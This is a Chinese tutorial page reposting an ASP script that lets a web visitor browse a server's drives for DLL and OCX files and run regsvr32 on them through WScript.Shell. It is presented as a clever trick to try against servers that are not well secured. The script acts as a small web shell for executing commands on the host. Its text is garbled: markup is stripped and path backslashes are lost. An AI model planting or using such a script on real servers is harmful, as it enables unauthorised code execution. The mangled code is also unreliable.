LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

利用ASP远程注册DLL的方法

admin
2010年7月5日 0:7 本文热度 5271
[p]老外真是聪明,这个方法也想得到,有兴趣的不妨试试,但是如果对方的服务器安全搞的很好的话,这个代码也许就不能用了,但不管怎么样,学习一下也是好的,:) [/p] [p][br]<% response.buffer = true %>[br]<% server.scripttimeout = 500 [br]dim frmfolderpath, frmfilepath[/p] [p]frmfolderpath = request.form("frmfolderpath")[br]frmfilepath = request.form("frmdllpath")[br]frmmethod = request.form("frmmethod")[br]btnreg = request.form("btnreg")[br]%>[/p] [p][br][br]regsvr32.asp[br][br][/p] [p][br]
[br][br][br][br][br]
[br]
[br]regsvr functions[br]insert path to dll directory
[br]
[br]
[br]<% [br]if request.form("btnfilelist") <> "" or btnreg <> "" then[br]set registerfiles = new clsregister[br]registerfiles.echob("select file")[br]call registerfiles.init(frmfolderpath)[br]registerfiles.echob("
")[br]if request.form("btnreg") <> "" then[br]call registerfiles.register(frmfilepath, frmmethod)[br]end if[br]set registerfiles = nothing[br]end if[br]%>[br]
[br]
[br]
[br][br][br]<%[br]class clsregister[/p] [p]private m_ofs [/p] [p]public property let ofs(objofs)[br]m_ofs = objofs[br]end property[/p] [p]public property get ofs()[br]set ofs = server.createobject("scripting.filesystemobject")[br]end property[/p] [p][br]sub init(strroot) 'root to search (c:, d:, e:)[br]dim odrive, orootdir[br]if ofs.folderexists(strroot) then[br]if len(strroot) < 3 then 'must be a drive[br]set odrive = ofs.getdrive(strroot)[br]set orootdir = odrive.rootfolder[br]else[br]set orootdir = ofs.getfolder(strroot)[br]end if[br]else[br]echob("folder ( " & strroot & " ) not found.")[br]exit sub[br]end if[br]setroot = orootdir[/p] [p]echo("")[br]buildoptions[br]end sub[/p] [p]sub getalldlls(oparentfolder)[br]dim osubfolders, ofile, ofiles[br]set osubfolders = oparentfolder.subfolders[br]set opfiles = oparentfolder.files[/p] [p]for each ofile in opfiles[br]if right(lcase(ofile.name), 4) = ".dll" or right(lcase(ofile.name), 4) = ".ocx" then[br]echo("")[br]end if[br]next[/p] [p]on error resume next[br]for each ofolder in osubfolders 'iterate all folders in drive[br]set ofiles = ofolder.files[br]for each ofile in ofiles[br]if right(lcase(ofile.name), 4) = ".dll" or right(lcase(ofile.name), 4) = ".ocx" then[br]echo("")[br]end if[br]next[br]call getalldlls(ofolder)[br]next[br]on error goto 0[br]end sub[/p] [p]sub register(strfilepath, regmethod)[br]dim thefile, strfile, oshell, exitcode[br]set thefile = ofs.getfile(strfilepath)[br]strfile = thefile.path[/p] [p]set oshell = createobject ("wscript.shell")[/p] [p]if regmethod = "reg" then 'register[br]oshell.run "c:winntsystem32 egsvr32.exe /s " & strfile, 0, false[br]exitcode = oshell.run("c:winntsystem32 egsvr32.exe /s " & strfile, 0, false)[br]echob("regsvr32.exe exitcode = " & exitcode)[br]else 'unregister[br]oshell.run "c:winntsystem32 egsvr32.exe /u/s " & strfile, 0, false[br]exitcode = oshell.run("c:winntsystem32 egsvr32.exe /u/s " & strfile, 0, false)[br]echob("regsvr32.exe exitcode = " & exitcode)[br]end if[/p] [p]cleanup oshell[br]end sub[/p] [p]sub buildoptions[br]echob("register: ")[br]echob("unregister: ")[br]end sub[/p] [p]function echo(str)[br]echo = response.write(str & vbcrlf)[br]end function[/p] [p]function echob(str)[br]echob = response.write(str & "
" & vbcrlf)[br]end function[/p] [p]sub cleanup(obj)[br]if isobject(obj) then[br]set obj = nothing[br]end if[br]end sub[/p] [p]sub class_terminate()[br]cleanup ofs[br]end sub[br]end class[br]%> [/p]

该文章在 2010/7/5 0:07:33 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2024 ClickSun All Rights Reserved